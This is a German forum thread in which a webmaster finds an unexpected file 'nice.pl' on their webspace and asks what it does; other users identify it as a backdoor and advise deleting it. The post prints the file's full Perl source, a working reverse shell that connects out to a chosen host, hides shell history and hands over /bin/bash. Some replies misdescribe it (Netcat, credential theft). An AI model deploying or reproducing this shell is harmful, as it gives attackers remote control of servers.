[Q]- [KOMISCHE DATEI IN HP SCRIPT]

[☆τяəyΖ™☆]

Hey Leuts,

Wollte heute mein Hp Script auf mein Webspace hochladen und habe es auch getan, vor etw. 5 Minuten wollte ich die Home Seite bearbeiten...

Dabei sah ich eine Datei namens
"nice.pl" ohne "

in dieser befand / befindet sich folgendes :

#!/usr/bin/perl
use IO::Socket;
$system = '/bin/bash';
$ARGC=@ARGV;
print "IHS BACK-CONNECT BACKDOOR\n\n";
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port] \n\n";
die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n";
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "IHS BACK-CONNECT BACKDOOR \n\n";
system("unset HISTFILE; unset SAVEHIST;echo --==Systeminfo==--; uname -a;echo;
echo --==Userinfo==--; id;echo;echo --==Directory==--; pwd;echo; echo --==Shell==-- ");
system($system);
#EOF

Was hat das zu bedeuten oder was macht das script ??

Ist es gefährlich oder soo ?

[xyNN.#]

print "IHS BACK-CONNECT BACKDOOR\n\n"; ... denk schon xD

[☆τяəyΖ™☆]

Was heißt denk schon ????

Ist gefährlich und rauslöschen

oder ungefährlich

ohr what ??
WTF WAS DES ?!

[.Kay331]

Also ich würde die mal schnell wieder vom Webspace nehmen kenne mich ja nicht gut aus aber das sieht mehr als komisch aus und da kommt dieses nicht schöne Wort backdoor vor

Sieht so aus als wäre es ne Lücke im Script

[☆τяəyΖ™☆]

okay habs mal rausgelöscht, danke für eure hilfe.

[ι¢н☆]

Ist nen Perl Script,dass dem Hacker deine Root Daten sendet.

[nostradame37]

ist ein bagdor zwar ein komisches aber
deleteeeeeeeeeen

[LordMampf2]

Hallo =)

Also des Script ließt Informationen übers System aus und auch Zugangsdaten..
-> andere HP verwenden!

grüßle LordMampf2

[ThinSmoke]

Ihr habt ja alle so eine Ahnung,

das ist ein Root-Backdoor welcher via Netcat eine Verbindung zu einem 3. Ziel Rechner aufbaut. Über diese sogenannte Shell (Netcat) hat der Angreifer dann die Chance an sämtliche empfindliche Daten zu gelangen.

Es musst lediglich das Perl Script ausgeführt werden mit einer IP auf die er Verbinden soll mit Port.

Solange das Script nur auf dem Webspace liegt ungefährlich sobald es ausgeführt wird, sehr gefährlich.

Einfach htaccess.log durchforsten wer es ausgeführt hat und fertig.